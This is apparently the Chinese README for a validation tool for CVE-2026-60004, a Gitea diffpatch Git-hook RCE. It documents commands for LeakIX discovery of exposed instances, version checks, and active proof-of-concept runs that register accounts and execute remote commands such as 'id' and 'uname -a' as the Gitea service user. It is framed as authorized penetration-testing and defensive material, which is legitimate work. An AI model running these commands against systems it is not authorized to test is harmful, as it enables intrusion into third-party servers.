一个独立的发现、评估和合同关联验证工具,用于 Gitea
diffpatchGit 钩子远程代码执行漏洞。
scanner.py 为渗透测试人员、防御者和安全研究人员提供了一个零依赖的工具,用于:
本项目仅用于授权的安全测试、防御性验证、研究和教育。仅对您拥有或获得明确书面许可评估的系统运行主动模式。您有责任遵守所有适用的法律、合同、交战规则和披露要求。
作者和贡献者不对滥用、损害、服务中断、数据丢失或法律后果负责。主动 PoC 以 Gitea 操作系统用户身份执行命令,并通过创建私有仓库改变服务器状态。请像对待任何其他 RCE 验证工具一样对待它。
CVE-2026-60004 影响 Gitea 的仓库 diffpatch 工作流。仓库写入者可以提交受控的补丁内容,在共享的裸临时克隆中安装 Git 钩子。应用两次精心构造的补丁会触发 add/add 冲突,并导致钩子以 Gitea 服务账户身份执行。
Forgejo 和其他分支不会自动被归类为易受攻击。必须独立审查其实现。
主动模式不接受目标列表或通配符。
PATH 中可用的 Gitdiscover 的 LeakIX API 密钥扫描器仅使用 Python 标准库。无需 pip install。
git clone https://github.com/InfoSec-DB/CVE-2026-60004-Gitea-Validator.git
cd CVE-2026-60004-Gitea-Validator
python3 scanner.py --help
python3 scanner.py verify \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/version.json
python3 scanner.py recon \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/recon.json
版本检测是评估信号,不是可利用性的证明。反向移植补丁、自定义构建、反向代理和分支可能需要手动审查。
通过将密码放入命令的环境中,避免密码出现在 shell 历史记录中:
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
除非为自动化提供了 --yes-i-am-authorized,否则 confirm 会要求您输入合同约束的确认短语。默认远程命令是 id。
仅在交战规则允许创建账户时使用:
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--register-test-account \
--credential-log evidence/credentials.txt \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
密码仅存储在私有凭据日志中,不会复制到 JSON 证据或终端结果面板中。
python3 scanner.py test \
https://gitea.example \
--contract-number ENG-2026-001
🚨 test 是一个主动便捷命令。在启用注册的受影响目标上,它会自动创建账户和私有仓库,写入合同标记,运行 id,并将结果保存在 afterdark-results/ 下。它故意没有额外的交互提示,因此调用它即表示授权确认。
对于范围狭窄、明确批准的验证,confirm 和 test 接受 --cmd。在足够的情况下,优先使用默认的 id 配置文件。
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--cmd 'uname -a' \
--output evidence/confirmation.json
export LEAKIX_API_KEY='replace-with-your-key'
python3 scanner.py discover \
--method app \
--pages 3 \
--output evidence/leakix.json
在不联系已知主机的情况下检查该主机的 LeakIX 记录:
python3 scanner.py discover \
--method host \
--target gitea.example \
--pages 1 \
--output evidence/leakix-host.json
发现结果是线索,不是扫描或利用所列系统的授权。
hooks/post-index-change 文件的补丁。diffpatch API 端点。0600 文件写入合同关联的证据,并拒绝覆盖现有证据。经过身份验证的 HTTP 重定向仅限于所选目标源。Git 输出检索在授权标头激活时也会禁用重定向。
主动运行可能产生:
confirmation.json — 时间戳、目标、账户名、版本评估、返回代码和捕获的输出confirmation.command-output.txt — 完整的远程命令输出credentials.txt — 生成的一次性账户密码(请求时)embedded-result.txt 内容保留在 JSON 证据中这些文件可能包含敏感的参与数据。它们被包含的 .gitignore 忽略,以模式 0600 创建,并应根据您的证据处理策略在静态时加密。
该工具故意避免自动删除,以便证据可供审查。测试后,目标管理员应:
audit-* 账户(如果创建了)afterdark-* 仓库/tmp/gitea-validation-*/client.txt 标记1.27.1 或更高版本成功的 PoC 执行证明以 Gitea 服务账户身份执行命令。它本身不证明 root 访问、持久性、横向移动或底层主机的入侵。
id 或 whoamiconfirm 需要显式的 --execute-poc 开关包含的测试是本地测试,不进行网络请求:
python3 -m unittest discover -s tests -v
欢迎负责任的改进——尤其是兼容性修复、误报减少、证据质量改进和更安全的清理工作流。请不要提交真实目标详情、凭据、私有证据或武器化载荷。
对于此工具本身的安全问题,请遵循 SECURITY.md。
为那些相信好的 PoC 应该是可复现、可归属且清理起来无聊的细心研究人员而制作。🛡️
| 项目 | 详情 |
|---|
| 产品 | Gitea |
| 受影响版本 | >= 1.17.0, < 1.27.1 |
| 已修补版本 | 1.27.1 |
| 影响 | 以 Gitea 操作系统用户身份远程执行命令 |
| 所需访问权限 | 仓库写入权限;开放注册可能允许攻击者创建它 |
| 公告 | GHSA-rcr6-4jqh-j84m |
| 模式 | 网络行为 | 是否改变目标状态? | 目的 |
|---|
discover | 仅查询 LeakIX | 否 | 搜索现有的第三方索引;不联系发现的主机 |
recon | 一个精确目标 | 否 | 盘点固定的公共路由和目标发布的 Swagger 文档 |
verify | 一个精确目标 | 否 | 读取 /api/v1/version 并分类报告的 Gitea 版本 |
test | 一个精确目标 | 是 | 便捷流程:版本门控、注册检查、一次性账户、标记、id 和证据 |
confirm | 一个精确目标 | 是 | 使用已批准的账户或明确的一次性注册进行受控确认 |